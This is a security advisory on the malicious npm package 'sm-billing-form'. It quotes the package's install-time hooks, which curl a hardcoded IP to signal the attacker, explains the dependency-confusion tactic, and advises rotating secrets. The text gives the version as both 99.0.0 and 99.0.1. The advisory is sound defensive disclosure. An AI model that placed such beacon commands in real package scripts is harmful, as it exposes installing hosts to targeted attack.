sm-billing-formnpm

package.json defines preinstall and postinstall lifecycle scripts that run curl -s http://16.192.173.5/sm-billing-form/pre and curl -s http://16.192.173.5/sm-billing-form/post on npm install. The requests target a hardcoded bare-IP endpoint over cleartext HTTP with no relationship to any documented publisher, and fire automatically as part of the default install. The pattern is a dependency-confusion / typosquat probe: the callback confirms to the operator of 16.192.173.5 which environments resolved the public sm-billing-form name and installed it, disclosing source IP and install timing and enabling targeted follow-on attacks against those hosts. The version number (99.0.0) is consistent with a dependency-confusion lure intended to outrank an internal package of the same name.

Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.

The OpenSSF Package Analysis project identified 'sm-billing-form' @ 99.0.1 (npm) as malicious.

It is considered malicious because:

• The package executes one or more commands associated with malicious behavior.